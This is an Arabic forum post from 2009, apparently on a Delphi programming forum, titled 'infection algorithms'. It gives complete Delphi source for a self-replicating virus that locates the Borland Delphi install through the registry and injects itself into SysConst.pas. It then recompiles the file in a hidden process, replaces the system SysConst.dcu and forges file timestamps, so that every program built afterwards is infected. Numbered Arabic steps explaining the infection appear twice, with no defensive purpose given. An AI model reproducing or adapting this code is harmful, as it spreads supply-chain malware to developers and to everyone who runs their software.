19-08-2009, 02:30 PM
(آخر تعديل لهذه المشاركة: 21-08-2009, 06:42 PM بواسطة STRELiTZIA.)
خوارزميات التلويث :
طريقة عمل الفيروس :
1- نسخ الملف SysConst.pas الأصلي من مجلد : \source\rtl\sys الى مجلد Lib.
2- اضافة الأوامر التي تم ذكرها في نفس الملف.
3- استعمال ملف dcc32.exe لانتاج ملف SysConst.dcu.
4- حذف الملف SysConst.pas المنسوخ في المجلد Lib.
----
5- عمل نسخة Backup للملف الأصلي SysConst.dcu و استبدال الأصلي بالنسخة الملوثة.
في كل مرة مع تشغل الملفات الملوثة المنتجة بدلفي يقوم الفيروس المحقون في الكود بالتحقق بعمل CreateFile على ملف SysConst.bak و في حالة وجوده لا يتم التلويث و العكس صحيح...
الاصدارات المستهدفة تخص نسخ Borland.
بالتوفيق ان شاء الله
PHP كود :
var sc: array[1..24] of string = (
'uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'?:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s: string): string;
var i: integer;
begin
for i := 1 to length(s) do if s[i] = #36 then
s[i] := #39;
result := s;
end;
procedure re(s, d, e: string);
var f1, f2: textfile;
h: cardinal;
f: STARTUPINFO;
p: PROCESS_INFORMATION;
b: boolean;
t1, t2, t3: FILETIME;
begin
h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);
if h <> DWORD(-1) then
begin CloseHandle(h);
exit;
end;
{'I-}
assignfile(f1, s);
reset(f1);
if ioresult <> 0 then
exit;
assignfile(f2, d + 'pas');
rewrite(f2);
if ioresult <> 0 then
begin closefile(f1);
exit;
end;
while not eof(f1) do
begin readln(f1, s);
writeln(f2, s);
if pos('implementation', s) <> 0 then
break;
end;
for h := 1 to 1 do
writeln(f2, sc[h]);
for h := 1 to 23 do writeln(f2, '''' + sc[h], ''',');
writeln(f2, '''' + sc[24] + ''');');
for h := 2 to 24 do writeln(f2, x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}
MoveFile(pchar(d + 'dcu'), pchar(d + 'bak'));
fillchar(f, sizeof(f), 0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil, pchar(e + '"' + d + 'pas"'), 0, 0, false, 0, 0, 0, f, p);
if b then
WaitForSingleObject(p.hProcess, INFINITE);
MoveFile(pchar(d + 'bak'), pchar(d + 'dcu'));
DeleteFile(pchar(d + 'pas'));
h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);
if h = DWORD(-1) then
exit;
GetFileTime(h, @t1, @t2, @t3);
CloseHandle(h);
h := CreateFile(pchar(d + 'dcu'), 256, 0, 0, 3, 0, 0);
if h = DWORD(-1) then
exit;
SetFileTime(h, @t1, @t2, @t3);
CloseHandle(h);
end;
procedure st;
var k: HKEY; c: array[1..255] of char;
i: cardinal;
r: string;
v: char;
begin
for v := '4' to '7' do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar('Software\Borland\Delphi\' + v + '.0'), 0, KEY_READ, k) = 0 then
begin i := 255;
if RegQueryValueEx(k, 'RootDir', nil, @i, @c, @i) = 0 then
begin r := '';
i := 1;
while c[i] <> #0 do
begin r := r + c[i];
inc(i);
end;
re(r + '\source\rtl\sys\SysConst' + '.pas', r + '\lib\sysconst.', '"' + r + '\bin\dcc32.exe" ');
end;
RegCloseKey(k);
end;
end;
طريقة عمل الفيروس :
1- نسخ الملف SysConst.pas الأصلي من مجلد : \source\rtl\sys الى مجلد Lib.
2- اضافة الأوامر التي تم ذكرها في نفس الملف.
3- استعمال ملف dcc32.exe لانتاج ملف SysConst.dcu.
4- حذف الملف SysConst.pas المنسوخ في المجلد Lib.
----
5- عمل نسخة Backup للملف الأصلي SysConst.dcu و استبدال الأصلي بالنسخة الملوثة.
في كل مرة مع تشغل الملفات الملوثة المنتجة بدلفي يقوم الفيروس المحقون في الكود بالتحقق بعمل CreateFile على ملف SysConst.bak و في حالة وجوده لا يتم التلويث و العكس صحيح...
الاصدارات المستهدفة تخص نسخ Borland.
بالتوفيق ان شاء الله


![[-]](https://delphi4arab.net/forum/D4A2020/collapse.png)